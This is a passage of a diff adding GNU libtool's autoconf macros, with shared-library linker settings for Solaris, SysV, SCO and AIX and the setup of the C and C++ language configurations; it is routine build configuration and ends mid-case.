$1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -shared $pic_flag $wl-z ${wl}text $wl-M $wl$lib.exp $wl-h $wl$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' + else + case `$CC -V 2>&1` in + *"Compilers 5.0"*) + wlarc='' + _LT_TAGVAR(archive_cmds, $1)='$LD -G$allow_undefined_flag -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $LD -G$allow_undefined_flag -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$RM $lib.exp' + ;; + *) + wlarc='$wl' + _LT_TAGVAR(archive_cmds, $1)='$CC -G$allow_undefined_flag -h $soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -G$allow_undefined_flag -M $lib.exp -h $soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' + ;; + esac + fi + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + case $host_os in + solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; + *) + # The compiler driver will combine and reorder linker options, + # but understands '-z linker_flag'. GCC discards it without '$wl', + # but is careful enough not to reorder. + # Supported since Solaris 2.6 (maybe 2.5.1?) + if test yes = "$GCC"; then + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl-z ${wl}allextract$convenience $wl-z ${wl}defaultextract' + else + _LT_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' + fi + ;; + esac + _LT_TAGVAR(link_all_deplibs, $1)=yes + ;; + + sunos4*) + if test sequent = "$host_vendor"; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + _LT_TAGVAR(archive_cmds, $1)='$CC -G $wl-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_minus_L, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv4) + case $host_vendor in + sni) + _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(hardcode_direct, $1)=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + _LT_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs' + _LT_TAGVAR(hardcode_direct, $1)=no + ;; + motorola) + _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv4.3*) + _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + _LT_TAGVAR(ld_shlibs, $1)=yes + fi + ;; + + sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*) + _LT_TAGVAR(no_undefined_flag, $1)='$wl-z,text' + _LT_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + runpath_var='LD_RUN_PATH' + + if test yes = "$GCC"; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_TAGVAR(archive_cmds, $1)='$CC -G $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + ;; + + sysv5* | sco3.2v5* | sco5v6*) + # Note: We CANNOT use -z defs as we might desire, because we do not + # link with -lc, and that would cause any symbols used from libc to + # always be unresolved, which means just about no library would + # ever link correctly. If we're not using GNU ld we use -z text + # though, which does catch some bad symbols but isn't as heavy-handed + # as -z defs. + _LT_TAGVAR(no_undefined_flag, $1)='$wl-z,text' + _LT_TAGVAR(allow_undefined_flag, $1)='$wl-z,nodefs' + _LT_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-R,$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_TAGVAR(link_all_deplibs, $1)=yes + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-Bexport' + runpath_var='LD_RUN_PATH' + + if test yes = "$GCC"; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_TAGVAR(archive_cmds, $1)='$CC -G $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + ;; + + uts4*) + _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + *) + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + esac + + if test sni = "$host_vendor"; then + case $host in + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-Blargedynsym' + ;; + esac + fi + fi +]) +AC_MSG_RESULT([$_LT_TAGVAR(ld_shlibs, $1)]) +test no = "$_LT_TAGVAR(ld_shlibs, $1)" && can_build_shared=no + +_LT_TAGVAR(with_gnu_ld, $1)=$with_gnu_ld + +_LT_DECL([], [libext], [0], [Old archive suffix (normally "a")])dnl +_LT_DECL([], [shrext_cmds], [1], [Shared library suffix (normally ".so")])dnl +_LT_DECL([], [extract_expsyms_cmds], [2], + [The commands to extract the exported symbol list from a shared archive]) + +# +# Do we need to explicitly link libc? +# +case "x$_LT_TAGVAR(archive_cmds_need_lc, $1)" in +x|xyes) + # Assume -lc should be added + _LT_TAGVAR(archive_cmds_need_lc, $1)=yes + + if test yes,yes = "$GCC,$enable_shared"; then + case $_LT_TAGVAR(archive_cmds, $1) in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + AC_CACHE_CHECK([whether -lc should be explicitly linked in], + [lt_cv_]_LT_TAGVAR(archive_cmds_need_lc, $1), + [$RM conftest* + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + + if AC_TRY_EVAL(ac_compile) 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$_LT_TAGVAR(lt_prog_compiler_wl, $1) + pic_flag=$_LT_TAGVAR(lt_prog_compiler_pic, $1) + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$_LT_TAGVAR(allow_undefined_flag, $1) + _LT_TAGVAR(allow_undefined_flag, $1)= + if AC_TRY_EVAL(_LT_TAGVAR(archive_cmds, $1) 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1) + then + lt_cv_[]_LT_TAGVAR(archive_cmds_need_lc, $1)=no + else + lt_cv_[]_LT_TAGVAR(archive_cmds_need_lc, $1)=yes + fi + _LT_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $RM conftest* + ]) + _LT_TAGVAR(archive_cmds_need_lc, $1)=$lt_cv_[]_LT_TAGVAR(archive_cmds_need_lc, $1) + ;; + esac + fi + ;; +esac + +_LT_TAGDECL([build_libtool_need_lc], [archive_cmds_need_lc], [0], + [Whether or not to add -lc for building shared libraries]) +_LT_TAGDECL([allow_libtool_libs_with_static_runtimes], + [enable_shared_with_static_runtimes], [0], + [Whether or not to disallow shared libs when runtime libs are static]) +_LT_TAGDECL([], [export_dynamic_flag_spec], [1], + [Compiler flag to allow reflexive dlopens]) +_LT_TAGDECL([], [whole_archive_flag_spec], [1], + [Compiler flag to generate shared objects directly from archives]) +_LT_TAGDECL([], [compiler_needs_object], [1], + [Whether the compiler copes with passing no objects directly]) +_LT_TAGDECL([], [old_archive_from_new_cmds], [2], + [Create an old-style archive from a shared archive]) +_LT_TAGDECL([], [old_archive_from_expsyms_cmds], [2], + [Create a temporary old-style archive to link instead of a shared archive]) +_LT_TAGDECL([], [archive_cmds], [2], [Commands used to build a shared archive]) +_LT_TAGDECL([], [archive_expsym_cmds], [2]) +_LT_TAGDECL([], [module_cmds], [2], + [Commands used to build a loadable module if different from building + a shared archive.]) +_LT_TAGDECL([], [module_expsym_cmds], [2]) +_LT_TAGDECL([], [with_gnu_ld], [1], + [Whether we are building with GNU ld or not]) +_LT_TAGDECL([], [allow_undefined_flag], [1], + [Flag that allows shared libraries with undefined symbols to be built]) +_LT_TAGDECL([], [no_undefined_flag], [1], + [Flag that enforces no undefined symbols]) +_LT_TAGDECL([], [hardcode_libdir_flag_spec], [1], + [Flag to hardcode $libdir into a binary during linking. + This must work even if $libdir does not exist]) +_LT_TAGDECL([], [hardcode_libdir_separator], [1], + [Whether we need a single "-rpath" flag with a separated argument]) +_LT_TAGDECL([], [hardcode_direct], [0], + [Set to "yes" if using DIR/libNAME$shared_ext during linking hardcodes + DIR into the resulting binary]) +_LT_TAGDECL([], [hardcode_direct_absolute], [0], + [Set to "yes" if using DIR/libNAME$shared_ext during linking hardcodes + DIR into the resulting binary and the resulting library dependency is + "absolute", i.e impossible to change by setting $shlibpath_var if the + library is relocated]) +_LT_TAGDECL([], [hardcode_minus_L], [0], + [Set to "yes" if using the -LDIR flag during linking hardcodes DIR + into the resulting binary]) +_LT_TAGDECL([], [hardcode_shlibpath_var], [0], + [Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR + into the resulting binary]) +_LT_TAGDECL([], [hardcode_automatic], [0], + [Set to "yes" if building a shared library automatically hardcodes DIR + into the library and all subsequent libraries and executables linked + against it]) +_LT_TAGDECL([], [inherit_rpath], [0], + [Set to yes if linker adds runtime paths of dependent libraries + to runtime path list]) +_LT_TAGDECL([], [link_all_deplibs], [0], + [Whether libtool must link a program against all its dependency libraries]) +_LT_TAGDECL([], [always_export_symbols], [0], + [Set to "yes" if exported symbols are required]) +_LT_TAGDECL([], [export_symbols_cmds], [2], + [The commands to list exported symbols]) +_LT_TAGDECL([], [exclude_expsyms], [1], + [Symbols that should not be listed in the preloaded symbols]) +_LT_TAGDECL([], [include_expsyms], [1], + [Symbols that must always be exported]) +_LT_TAGDECL([], [prelink_cmds], [2], + [Commands necessary for linking programs (against libraries) with templates]) +_LT_TAGDECL([], [postlink_cmds], [2], + [Commands necessary for finishing linking programs]) +_LT_TAGDECL([], [file_list_spec], [1], + [Specify filename containing input files]) +dnl FIXME: Not yet implemented +dnl _LT_TAGDECL([], [thread_safe_flag_spec], [1], +dnl [Compiler flag to generate thread safe objects]) +])# _LT_LINKER_SHLIBS + + +# _LT_LANG_C_CONFIG([TAG]) +# ------------------------ +# Ensure that the configuration variables for a C compiler are suitably +# defined. These variables are subsequently used by _LT_CONFIG to write +# the compiler configuration to 'libtool'. +m4_defun([_LT_LANG_C_CONFIG], +[m4_require([_LT_DECL_EGREP])dnl +lt_save_CC=$CC +AC_LANG_PUSH(C) + +# Source file extension for C test sources. +ac_ext=c + +# Object file extension for compiled C test sources. +objext=o +_LT_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(){return(0);}' + +_LT_TAG_COMPILER +# Save the default compiler, since it gets overwritten when the other +# tags are being tested, and _LT_TAGVAR(compiler, []) is a NOP. +compiler_DEFAULT=$CC + +# save warnings/boilerplate of simple test code +_LT_COMPILER_BOILERPLATE +_LT_LINKER_BOILERPLATE + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +if test -n "$compiler"; then + _LT_COMPILER_NO_RTTI($1) + _LT_COMPILER_PIC($1) + _LT_COMPILER_C_O($1) + _LT_COMPILER_FILE_LOCKS($1) + _LT_LINKER_SHLIBS($1) + _LT_SYS_DYNAMIC_LINKER($1) + _LT_LINKER_HARDCODE_LIBPATH($1) + LT_SYS_DLOPEN_SELF + _LT_CMD_STRIPLIB + + # Report what library types will actually be built + AC_MSG_CHECKING([if libtool supports shared libraries]) + AC_MSG_RESULT([$can_build_shared]) + + AC_MSG_CHECKING([whether to build shared libraries]) + test no = "$can_build_shared" && enable_shared=no + + # On AIX, shared libraries and static libraries use the same namespace, and + # are all built from PIC. + case $host_os in + aix3*) + test yes = "$enable_shared" && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + + aix[[4-9]]*) + if test ia64 != "$host_cpu"; then + case $enable_shared,$with_aix_soname,$aix_use_runtimelinking in + yes,aix,yes) ;; # shared object as lib.so file only + yes,svr4,*) ;; # shared object as lib.so archive member only + yes,*) enable_static=no ;; # shared object in lib.a archive as well + esac + fi + ;; + esac + AC_MSG_RESULT([$enable_shared]) + + AC_MSG_CHECKING([whether to build static libraries]) + # Make sure either enable_shared or enable_static is yes. + test yes = "$enable_shared" || enable_static=yes + AC_MSG_RESULT([$enable_static]) + + _LT_CONFIG($1) +fi +AC_LANG_POP +CC=$lt_save_CC +])# _LT_LANG_C_CONFIG + + +# _LT_LANG_CXX_CONFIG([TAG]) +# -------------------------- +# Ensure that the configuration variables for a C++ compiler are suitably +# defined. These variables are subsequently used by _LT_CONFIG to write +# the compiler configuration to 'libtool'. +m4_defun([_LT_LANG_CXX_CONFIG], +[m4_require([_LT_FILEUTILS_DEFAULTS])dnl +m4_require([_LT_DECL_EGREP])dnl +m4_require([_LT_PATH_MANIFEST_TOOL])dnl +if test -n "$CXX" && ( test no != "$CXX" && + ( (test g++ = "$CXX" && `g++ -v >/dev/null 2>&1` ) || + (test g++ != "$CXX"))); then + AC_PROG_CXXCPP +else + _lt_caught_CXX_error=yes +fi + +AC_LANG_PUSH(C++) +_LT_TAGVAR(archive_cmds_need_lc, $1)=no +_LT_TAGVAR(allow_undefined_flag, $1)= +_LT_TAGVAR(always_export_symbols, $1)=no +_LT_TAGVAR(archive_expsym_cmds, $1)= +_LT_TAGVAR(compiler_needs_object, $1)=no +_LT_TAGVAR(export_dynamic_flag_spec, $1)= +_LT_TAGVAR(hardcode_direct, $1)=no +_LT_TAGVAR(hardcode_direct_absolute, $1)=no +_LT_TAGVAR(hardcode_libdir_flag_spec, $1)= +_LT_TAGVAR(hardcode_libdir_separator, $1)= +_LT_TAGVAR(hardcode_minus_L, $1)=no +_LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported +_LT_TAGVAR(hardcode_automatic, $1)=no +_LT_TAGVAR(inherit_rpath, $1)=no +_LT_TAGVAR(module_cmds, $1)= +_LT_TAGVAR(module_expsym_cmds, $1)= +_LT_TAGVAR(link_all_deplibs, $1)=unknown +_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_TAGVAR(reload_flag, $1)=$reload_flag +_LT_TAGVAR(reload_cmds, $1)=$reload_cmds +_LT_TAGVAR(no_undefined_flag, $1)= +_LT_TAGVAR(whole_archive_flag_spec, $1)= +_LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no + +# Source file extension for C++ test sources. +ac_ext=cpp + +# Object file extension for compiled C++ test sources. +objext=o +_LT_TAGVAR(objext, $1)=$objext + +# No sense in running all these tests if we already determined that +# the CXX compiler isn't working. Some variables (like enable_shared) +# are currently assumed to apply to all compilers on this platform, +# and will be corrupted by setting them based on a non-working compiler. +if test yes != "$_lt_caught_CXX_error"; then + # Code to be used in simple compile tests + lt_simple_compile_test_code="int some_variable = 0;" + + # Code to be used in simple link tests + lt_simple_link_test_code='int main(int, char *[[]]) { return(0); }' + + # ltmain only uses $CC for tagged configurations so make sure $CC is set. + _LT_TAG_COMPILER + + # save warnings/boilerplate of simple test code + _LT_COMPILER_BOILERPLATE + _LT_LINKER_BOILERPLATE + + # Allow CC to be a program name with arguments. + lt_save_CC=$CC + lt_save_CFLAGS=$CFLAGS + lt_save_LD=$LD + lt_save_GCC=$GCC + GCC=$GXX + lt_save_with_gnu_ld=$with_gnu_ld + lt_save_path_LD=$lt_cv_path_LD + if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then + lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx + else + $as_unset lt_cv_prog_gnu_ld + fi + if test -n "${lt_cv_path_LDCXX+set}"; then + lt_cv_path_LD=$lt_cv_path_LDCXX + else + $as_unset lt_cv_path_LD + fi + test -z "${LDCXX+set}" || LD=$LDCXX + CC=${CXX-"c++"} + CFLAGS=$CXXFLAGS + compiler=$CC + _LT_TAGVAR(compiler, $1)=$CC + _LT_CC_BASENAME([$compiler]) + + if test -n "$compiler"; then + # We don't want -fno-exception when compiling C++ code, so set the + # no_builtin_flag separately + if test yes = "$GXX"; then + _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' + else + _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= + fi + + if test yes = "$GXX"; then + # Set up default GNU C++ configuration + + LT_PATH_LD + + # Check if GNU C++ uses GNU ld as the underlying linker, since the + # archiving commands below assume that GNU ld is being used. + if test yes = "$with_gnu_ld"; then + _LT_TAGVAR(archive_cmds, $1)='$CC $pic_flag -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC $pic_flag -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl--export-dynamic' + + # If archive_cmds runs LD, not CC, wlarc should be empty + # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to + # investigate it a little bit more. (MM) + wlarc='$wl' + + # ancient GNU ld didn't support --whole-archive et. al. + if eval "`$CC -print-prog-name=ld` --help 2>&1" | + $GREP 'no-whole-archive' > /dev/null; then + _LT_TAGVAR(whole_archive_flag_spec, $1)=$wlarc'--whole-archive$convenience '$wlarc'--no-whole-archive' + else + _LT_TAGVAR(whole_archive_flag_spec, $1)= + fi + else + with_gnu_ld=no + wlarc= + + # A generic and very simple default shared library creation + # command for GNU C++ for the case where it uses the native + # linker, instead of GNU ld. If possible, this setting should + # overridden to take advantage of the native linker features on + # the platform it is being used on. + _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + fi + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP -v "^Configured with:" | $GREP "\-L"' + + else + GXX=no + with_gnu_ld=no + wlarc= + fi + + # PORTME: fill in a description of your system's C++ link characteristics + AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) + _LT_TAGVAR(ld_shlibs, $1)=yes + case $host_os in + aix3*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + aix[[4-9]]*) + if test ia64 = "$host_cpu"; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag= + else + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # have runtime linking enabled, and use it for executables. + # For shared libraries, we enable/disable runtime linking + # depending on the kind of the shared library created - + # when "with_aix_soname,aix_use_runtimelinking" is: + # "aix,no" lib.a(lib.so.V) shared, rtl:no, for executables + # "aix,yes" lib.so shared, rtl:yes, for executables + # lib.a static archive + # "both,no" lib.so.V(shr.o) shared, rtl:yes + # lib.a(lib.so.V) shared, rtl:no, for executables + # "both,yes" lib.so.V(shr.o) shared, rtl:yes, for executables + # lib.a(lib.so.V) shared, rtl:no + # "svr4,*" lib.so.V(shr.o) shared, rtl:yes, for executables + # lib.a static archive + case $host_os in aix4.[[23]]|aix4.[[23]].*|aix[[5-9]]*) + for ld_flag in $LDFLAGS; do + case $ld_flag in + *-brtl*) + aix_use_runtimelinking=yes + break + ;; + esac + done + if test svr4,no = "$with_aix_soname,$aix_use_runtimelinking"; then + # With aix-soname=svr4, we create the lib.so.V shared archives only, + # so we don't have lib.a shared libs to link our executables. + # We have to force runtime linking in this case. + aix_use_runtimelinking=yes + LDFLAGS="$LDFLAGS -Wl,-brtl" + fi + ;; + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + _LT_TAGVAR(archive_cmds, $1)='' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_direct_absolute, $1)=yes + _LT_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_TAGVAR(link_all_deplibs, $1)=yes + _LT_TAGVAR(file_list_spec, $1)='$wl-f,' + case $with_aix_soname,$aix_use_runtimelinking in + aix,*) ;; # no import file + svr4,* | *,yes) # use import file + # The Import File defines what to hardcode. + _LT_TAGVAR(hardcode_direct, $1)=no + _LT_TAGVAR(hardcode_direct_absolute, $1)=no + ;; + esac + + if test yes = "$GXX"; then + case $host_os in aix4.[[012]]|aix4.[[012]].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`$CC -print-prog-name=collect2` + if test -f "$collect2name" && + strings "$collect2name" | $GREP resolve_lib_name >/dev/null + then + # We have reworked collect2 + : + else + # We have old collect2 + _LT_TAGVAR(hardcode_direct, $1)=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + _LT_TAGVAR(hardcode_minus_L, $1)=yes + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)= + fi + esac + shared_flag='-shared' + if test yes = "$aix_use_runtimelinking"; then + shared_flag=$shared_flag' $wl-G' + fi + # Need to ensure runtime linking is disabled for the traditional + # shared library, or the linker may eventually find shared libraries + # /with/ Import File - we do not want to mix them. + shared_flag_aix='-shared' + shared_flag_svr4='-shared $wl-G' + else + # not using gcc + if test ia64 = "$host_cpu"; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test yes = "$aix_use_runtimelinking"; then + shared_flag='$wl-G' + else + shared_flag='$wl-bM:SRE' + fi + shared_flag_aix='$wl-bM:SRE' + shared_flag_svr4='$wl-G' + fi + fi + + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-bexpall' + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to + # export. + _LT_TAGVAR(always_export_symbols, $1)=yes + if test aix,yes = "$with_aix_soname,$aix_use_runtimelinking"; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + # The "-G" linker flag allows undefined symbols. + _LT_TAGVAR(no_undefined_flag, $1)='-bernotok' + # Determine the default libpath from the value encoded in an empty + # executable. + _LT_SYS_MODULE_PATH_AIX([$1]) + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-blibpath:$libdir:'"$aix_libpath" + + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs $wl'$no_entry_flag' $compiler_flags `if test -n "$allow_undefined_flag"; then func_echo_all "$wl$allow_undefined_flag"; else :; fi` $wl'$exp_sym_flag:\$export_symbols' '$shared_flag + else + if test ia64 = "$host_cpu"; then + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-R $libdir:/usr/lib:/lib' + _LT_TAGVAR(allow_undefined_flag, $1)="-z nodefs" + _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\$wl$no_entry_flag"' $compiler_flags $wl$allow_undefined_flag '"\$wl$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an + # empty executable. + _LT_SYS_MODULE_PATH_AIX([$1]) + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + _LT_TAGVAR(no_undefined_flag, $1)=' $wl-bernotok' + _LT_TAGVAR(allow_undefined_flag, $1)=' $wl-berok' + if test yes = "$with_gnu_ld"; then + # We only use this code for GNU lds that support --whole-archive. + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive$convenience $wl--no-whole-archive' + else + # Exported symbols can be pulled into shared objects from archives + _LT_TAGVAR(whole_archive_flag_spec, $1)='$convenience' + fi + _LT_TAGVAR(archive_cmds_need_lc, $1)=yes + _LT_TAGVAR(archive_expsym_cmds, $1)='$RM -r $output_objdir/$realname.d~$MKDIR $output_objdir/$realname.d' + # -brtl affects multiple linker settings, -berok does not and is overridden later + compiler_flags_filtered='`func_echo_all "$compiler_flags " | $SED -e "s%-brtl\\([[, ]]\\)%-berok\\1%g"`' + if test svr4 != "$with_aix_soname"; then + # This is similar to how AIX traditionally builds its shared + # libraries. Need -bnortl late, we may have -brtl in LDFLAGS. + _LT_TAGVAR(archive_expsym_cmds, $1)="$_LT_TAGVAR(archive_expsym_cmds, $1)"'~$CC '$shared_flag_aix' -o $output_objdir/$realname.d/$soname $libobjs $deplibs $wl-bnoentry '$compiler_flags_filtered'$wl-bE:$export_symbols$allow_undefined_flag~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$realname.d/$soname' + fi + if test aix != "$with_aix_soname"; then + _LT_TAGVAR(archive_expsym_cmds, $1)="$_LT_TAGVAR(archive_expsym_cmds, $1)"'~$CC '$shared_flag_svr4' -o $output_objdir/$realname.d/$shared_archive_member_spec.o $libobjs $deplibs $wl-bnoentry '$compiler_flags_filtered'$wl-bE:$export_symbols$allow_undefined_flag~$STRIP -e $output_objdir/$realname.d/$shared_archive_member_spec.o~( func_echo_all "#! $soname($shared_archive_member_spec.o)"; if test shr_64 = "$shared_archive_member_spec"; then func_echo_all "# 64"; else func_echo_all "# 32"; fi; cat $export_symbols ) > $output_objdir/$realname.d/$shared_archive_member_spec.imp~$AR $AR_FLAGS $output_objdir/$soname $output_objdir/$realname.d/$shared_archive_member_spec.o $output_objdir/$realname.d/$shared_archive_member_spec.imp' + else + # used by -dlpreopen to get the symbols + _LT_TAGVAR(archive_expsym_cmds, $1)="$_LT_TAGVAR(archive_expsym_cmds, $1)"'~$MV $output_objdir/$realname.d/$soname $output_objdir' + fi + _LT_TAGVAR(archive_expsym_cmds, $1)="$_LT_TAGVAR(archive_expsym_cmds, $1)"'~$RM -r $output_objdir/$realname.d' + fi + fi + ;; + + beos*) + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + _LT_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + chorus*) + case $cc_basename in + *) + # FIXME: insert proper C++ library support + 